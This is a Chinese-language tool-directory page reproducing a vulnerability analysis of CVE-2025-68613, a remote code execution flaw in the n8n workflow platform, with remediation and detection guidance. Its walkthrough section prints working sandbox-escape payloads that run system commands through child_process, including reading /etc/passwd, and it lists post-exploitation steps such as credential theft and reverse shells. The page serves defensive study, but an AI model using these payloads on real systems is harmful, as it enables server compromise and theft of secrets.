Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-68613-n8n-rce-analysis — CVE-2025-68613 (n8n) 严重级 RCE 分析 + 防御建议(补丁验证、检测思路与加固技巧) | Kitploit
工具/GitHubGitHub/ak-cybe/cve-2025-68613-n8n-rce-analysis
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育事件响应
GitHubak-cybe/cve-2025-68613-n8n-rce-analysis

CVE-2025-68613-n8n-rce-analysis

CVE-2025-68613 (n8n) 严重级 RCE 分析 + 防御建议(补丁验证、检测思路与加固技巧)

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
118个月前尚未审核
分享

Header Banner

Typing SVG

Severity CVSS Instances Status CWE

Hacker GIF Matrix GIF


Divider

📑 目录

  • 🎯 执行摘要
  • 🐛 漏洞详情
  • 🔬 技术分析
  • 💀 利用演练
  • 💥 影响评估
  • 🔍 检测与响应
  • 🛡️ 缓解策略
  • 📚 参考资料

🎯 执行摘要

Alert GIF

CVE-2025-68613 是 n8n 工作流自动化平台中的一个严重远程代码执行漏洞,允许经过身份验证的攻击者通过表达式注入执行任意系统命令。

⚡ 快速统计

🔥 指标📊 数值
CVSS 评分9.9 / 10
暴露实例数103,476+
攻击复杂度低
是否需要认证是(低权限)
用户交互无

🎯 关键事实

📌 属性📝 值
披露日期2025年12月18日
攻击向量网络 (AV:N)
影响范围已变更
影响CIA = 高
漏洞类型表达式注入

🐛 漏洞详情

Bug GIF

📋 CVE 概览

属性值
🆔 CVE IDCVE-2025-68613
📊 CVSS 评分9.9(严重)🔴
🔗 CVSS 向量CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
🏷️ CWECWE-913(对动态管理代码资源控制不当)
📦 受影响版本0.211.0 → 1.120.3, 1.121.0
✅ 已修补版本1.120.4, 1.121.1, 1.122.0+

🤖 什么是 n8n?

n8n 是一个开源工作流自动化平台,支持与 400 多个应用进行无代码/低代码集成。广泛部署于以下场景:

🏢 使用场景📝 描述
🔧 DevOps自动化流水线、CI/CD 集成
🛡️ 安全运维SOAR 工作流、应急响应
💼 业务流程自动化、数据工作流
📊 数据ETL 流程、API 集成

🔧 技术根因

root@kitploit:~
🔓 漏洞链条:
┌─────────────────────────────────────────────────────────────────┐
│  📝 n8n 表达式语言 → 动态数据处理                              │
│                           ↓                                     │
│  ⚠️  服务端评估中沙箱隔离不足                                  │
│                           ↓                                     │
│  💀 恶意表达式绕过沙箱                                         │
│                           ↓                                     │
│  🖥️  访问 Node.js 的 child_process 模块                        │
│                           ↓                                     │
│  💥 完全远程代码执行 - 操作系统命令执行                        │
└─────────────────────────────────────────────────────────────────┘

🔬 技术分析

Analysis GIF

🎯 攻击面

利用前提条件:

#📋 条件📝 详情
1️⃣认证有效的 n8n 用户账户(低权限即可)
2️⃣权限创建工作流/编辑工作流的能力
3️⃣网络访问能够连接到 n8n 实例

⚔️ 攻击特征

🏷️ 属性📊 值🔥 风险
复杂度低 (AC:L)🔴 高
用户交互无需🔴 高
范围已变更🔴 严重

🗺️ 漏洞流程示意图

root@kitploit:~
graph TD
    A[🔐 已认证用户] -->|创建| B[📝 新工作流]
    B -->|注入| C[💀 恶意表达式]
    C -->|触发| D[⚡ 表达式求值]
    D -->|利用| E[🔓 沙箱绕过]
    E -->|访问| F[🖥️ Node.js 运行时]
    F -->|执行| G[💥 通过 child_process 执行 OS 命令]
    G -->|实现| H[☠️ 完全服务器沦陷]
    
    style A fill:#4CAF50,color:#fff
    style C fill:#ff9800,color:#fff
    style E fill:#f44336,color:#fff
    style H fill:#9c27b0,color:#fff

💀 利用演练

Hacking GIF

⚠️ 免责声明:以下内容仅用于教育目的。未经授权的利用是非法的。

📸 逐步利用截图

🖥️ 第1步:访问 n8n 实例

初始访问易受攻击的 n8n 工作流自动化平台。

n8n Welcome Screen
🔓 n8n 欢迎仪表盘 - 入口点


➕ 第2步:创建新工作流

创建一个将包含恶意负载的新工作流。

New Workflow Creation
📝 使用“添加第一步”创建新工作流


⚡ 第3步:添加手动触发器

配置工作流触发器 - 手动触发器允许按需执行。

Manual Trigger Setup
🎯 选择手动触发器以激活工作流


📦 第4步:添加 Set 节点

添加“编辑字段 (Set)”节点,该节点将包含恶意表达式。

Set Node Selection
🔧 添加“编辑字段 (Set)”节点用于注入有效负载


💉 第5步:注入 RCE 有效负载

关键步骤 - 注入沙箱绕过表达式以实现远程代码执行。

RCE Payload Execution
💀 恶意表达式成功执行 'id' 命令!

root@kitploit:~
// 🔴 恶意负载 (请勿非法使用)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}

输出显示: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE 确认!


💉 负载示例

Code Injection GIF

⚠️ 警告:这些有效负载仅用于授权的安全测试。未经授权使用是非法的!

🔹 ID 命令 (用户信息)

root@kitploit:~
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

🔹 PWD 命令 (当前目录)

root@kitploit:~
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}

🔹 文件读取 (/etc/passwd)

root@kitploit:~
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}

🔹 自定义命令模板

root@kitploit:~
{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}

📸 文件读取 PoC 截图

passwd file read exploit
💀 读取 /etc/passwd - 展示完全文件系统访问!


📤 预期输出

🎯 有效负载📋 预期输出
iduid=1000(node) gid=1000(node) groups=1000(node)
pwd/app
cat /etc/passwd完整系统用户列表 (root, daemon, node, 等)
env所有环境变量(包括密钥)
ls -la /根文件系统列表

🔍 根因分析

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│  🔴 漏洞根因                                                            │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  n8n 表达式求值器**缺少**阻止函数表达式访问以下内容的消毒器:             │
│                                                                         │
│    ❌ this.process        → Node.js 进程对象                             │
│    ❌ mainModule.require  → 模块加载系统                                 │
│    ❌ child_process       → OS 命令执行                                 │
│                                                                         │
│  这导致可直接访问系统模块并执行任意代码!                                │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

💀 影响总结

🎯 影响类型📝 描述
💻 任意命令执行运行任何 OS 命令
📂 文件系统访问读/写任何文件
🔑 环境变量暴露API 密钥、密钥泄露
☠️ 完全系统沦陷完全接管服务器
🛡️ 严重性📊 评级
CVSS 评分9.9 / 10
攻击复杂度低
所需权限低
用户交互无

✅ 缓解措施

Upgrade

root@kitploit:~
# 🛡️ 将 n8n 升级到已修补版本
npm install -g n8n@latest

# 或使用 Docker
docker pull n8n/n8n:1.122.0

🎬 攻击杀伤链

阶段🔥 操作💀 影响
1️⃣初始访问认证到 n8n
2️⃣执行提交恶意工作流
3️⃣持久化部署反弹 shell/后门
4️⃣C2建立命令与控制
5️⃣行动数据外泄、横向移动

☠️ 后渗透能力

🎯 操作💥 影响级别
🔑 凭证窃取提取 API 密钥、OAuth 令牌、数据库密码
📤 数据外泄工作流数据、执行日志、业务信息
🔒 持久化cron 任务、启动脚本、Web shell
🔀 横向移动跳转到数据库、CI/CD、云基础设施
🗑️ 工作流篡改修改/破坏自动化逻辑

💥 影响评估

Explosion GIF

🔺 机密性-完整性-可用性三要素分析

🔴 机密性 (高)

  • 🔑 API 密钥暴露
  • 🔐 OAuth 令牌泄露
  • 💾 数据库密码可访问
  • 📜 执行日志受损

🟠 完整性 (高)

  • 📝 工作流被篡改
  • ⚙️ 自动化被破坏
  • 💉 恶意节点被注入
  • 📊 数据被操纵

🟡 可用性 (高)

  • ⏹️ 服务中断
  • 💀 资源耗尽
  • 🔄 工作流被终止
  • 🖥️ 基础设施宕机

🌍 实际暴露

Vulnerable


🔍 检测与响应

Detective GIF

🔎 检测策略

#📋 方法🔍 监控内容
📜日志分析n8n 进程中的异常命令、失败的表达式
🌐网络指向未知 IP 的出站连接、大型 POST 请求
⚡运行时child_process 调用、意外的 spawn 操作
📦版本审计检查是否处于受影响版本范围

🛠️ 版本审计脚本

root@kitploit:~
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n 版本审计

echo "🔍 正在检查 n8n 版本..."

if command -v n8n >/dev/null 2>&1; then
    VER="$(n8n --version | tr -d 'v' | head -n1)"
    
    if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
        echo "⚠️  存在漏洞:n8n $VER 受到 CVE-2025-68613 影响"
        echo "📦 需要:升级到 1.120.4、1.121.1 或 1.122.0+"
        exit 2
    else
        echo "✅ 安全:n8n $VER 已修补"
    fi
else
    echo "❌ 在 PATH 中未找到 n8n"
fi

🚨 应急响应检查清单

  • 🔌 隔离 - 断开受影响的 n8n 与网络的连接
  • 💾 保留 - 捕获日志和取证工件
  • 🔍 审计 - 审查所有工作流中的恶意表达式
  • 🔄 轮换 - 更改所有可访问的凭证
  • 🔀 审查 - 检查横向移动迹象
  • 📦 修补 - 恢复前升级到安全版本

🛡️ 缓解策略

Shield GIF

⚡ 立即行动 (优先级 0)

🔢 优先级🛠️ 行动📝 详情
🔴 P0立即修补升级到 1.120.4、1.121.1 或 1.122.0+
🟠 P1限制访问限制工作流创建仅限于受信任用户
🟡 P2容器加固使用安全限制部署

🐳 容器加固示例

root@kitploit:~
# 🛡️ 加固的 n8n 部署
FROM n8n/n8n:1.122.0

# 👤 以非 root 用户运行
USER node

# 🔒 应用以下运行时标志:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json

🔐 长期安全措施

🛡️ 措施📝 实现
🌐 网络分段隔离 n8n 实例
🔥 WAF 规则监控表达式模式
📜 审计日志启用全面日志记录
🔍 安全审查定期评估工作流
🔓 最小权限实施访问控制

💬 对蓝队成员的问题 🔵

Thinking GIF

您将如何设计一个检测规则,以便在执行前识别 n8n 工作流定义中的表达式注入尝试,同时兼顾安全性与合法动态表达式使用的平衡?

奖励题: 如果尽管打了补丁,沙箱绕过仍然发生,您将实施哪些运行时保护来限制爆炸半径?


📚 参考资料

Books GIF

📋 官方公告

  • 🔗 NVD CVE-2025-68613 详情
  • 🔗 Snyk 安全公告

🔬 技术分析

  • 📖 Orca Security:n8n 关键 RCE
  • 📖 Resecurity:表达式注入深度剖析
  • 📖 SecureLayer7:RCE 利用指南

🎮 实践资源

  • 🧪 TryHackMe:CVE-2025-68613 实验室
  • 💀 公开 PoC 扫描器

🏷️ 标签

root@kitploit:~
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation 
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team

Footer

⚠️ 免责声明: 本分析仅用于教育和防御性安全目的。
未经授权利用漏洞是非法的。

Author Updated

Profile Views

下载工具